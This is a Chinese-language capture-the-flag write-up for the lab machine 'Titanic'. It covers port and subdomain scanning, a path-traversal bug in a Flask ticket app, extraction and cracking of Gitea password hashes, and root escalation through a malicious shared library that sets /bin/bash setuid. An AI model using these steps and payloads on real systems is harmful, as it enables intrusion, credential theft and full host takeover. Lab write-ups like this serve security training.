Titanic

10.10.11.55

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Nmap 7.95 scan initiated Fri Apr 11 14:44:10 2025 as: nmap -e utun4 -sC -sV -vv -oA nmap/default 10.10.11.55
Increasing send delay for 10.10.11.55 from 0 to 5 due to 11 out of 31 dropped probes since last increase.
Increasing send delay for 10.10.11.55 from 5 to 10 due to 11 out of 20 dropped probes since last increase.
Nmap scan report for 10.10.11.55
Host is up, received echo-reply ttl 63 (0.53s latency).
Scanned at 2025-04-11 14:44:24 CST for 52s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGZG4yHYcDPrtn7U0l+ertBhGBgjIeH9vWnZcmqH0cvmCNvdcDY/ItR3tdB4yMJp0ZTth5itUVtlJJGHRYAZ8Wg=
| 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDT1btWpkcbHWpNEEqICTtbAcQQitzOiPOmc3ZE0A69Z
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /opt/homebrew/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr 11 14:45:16 2025 -- 1 IP address (1 host up) scanned in 66.11 seconds

titanic.htb 添加到 hosts

ffuf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ffuf -w ~/tools/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.titanic.htb" -u http://10.10.11.55 -mc 200

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://10.10.11.55
:: Wordlist : FUZZ: /Users/mokou/tools/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.titanic.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________

dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 512ms]
:: Progress: [4989/4989] :: Job [1/1] :: 110 req/sec :: Duration: [0:00:48] :: Errors: 0 ::

dev.titanic.htb 添加到 hosts

titanic.htb

created-file
created-file

站点有一个表单可以填写,提交会重定向到下载文件的接口,接口参数是完整文件名故尝试目录穿越
file-disclosure
developer:x:1000:1000:developer:/home/developer:/bin/bash 可知用户名为 developer,暂无 user shell 但可拿到 user flag
source-code
获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Response
import os
import json
from uuid import uuid4

app = Flask(__name__)

# Directory to save the JSON files
TICKETS_DIR = "tickets"

# Ensure the directory exists
if not os.path.exists(TICKETS_DIR):
os.makedirs(TICKETS_DIR)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/book', methods=['POST'])
def book_ticket():
data = {
"name": request.form['name'],
"email": request.form['email'],
"phone": request.form['phone'],
"date": request.form['date'],
"cabin": request.form['cabin']
}

# Generate a unique ID for the ticket
ticket_id = str(uuid4())
json_filename = f"{ticket_id}.json"
json_filepath = os.path.join(TICKETS_DIR, json_filename)

# Save the data as a JSON file
with open(json_filepath, 'w') as json_file:
json.dump(data, json_file)

# Redirect to the download URL with the ticket filename
return redirect(url_for('download_ticket', ticket=json_filename))

@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400

json_filepath = os.path.join(TICKETS_DIR, ticket)

if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)
else:
return jsonify({"error": "Ticket not found"}), 404

if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)

写入文件不可控

dev.titanic.htb

gitea
gitea

通过文件泄露找找 gitea
gitea-location
故下载 /home/developer/gitea/data/gitea/gitea.db 导出 hash

1
2
3
$ sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
developer-result
developer-result

有了凭据 developer:25282528

ssh-login
ssh-login

成功登陆 ssh

提权

跑下 linpeas.sh 看看
path

ports
ports
interesting-files
interesting-files
1
2
3
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

pspy 并没有发现 root 会执行这个脚本,可以利用 mageMagick 7.1.1–35 存在的命令执行漏洞提权

1
2
3
4
5
6
7
8
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor)) void init(){
system("chmod 4777 /bin/bash");
exit(0);
}
EOF
root
root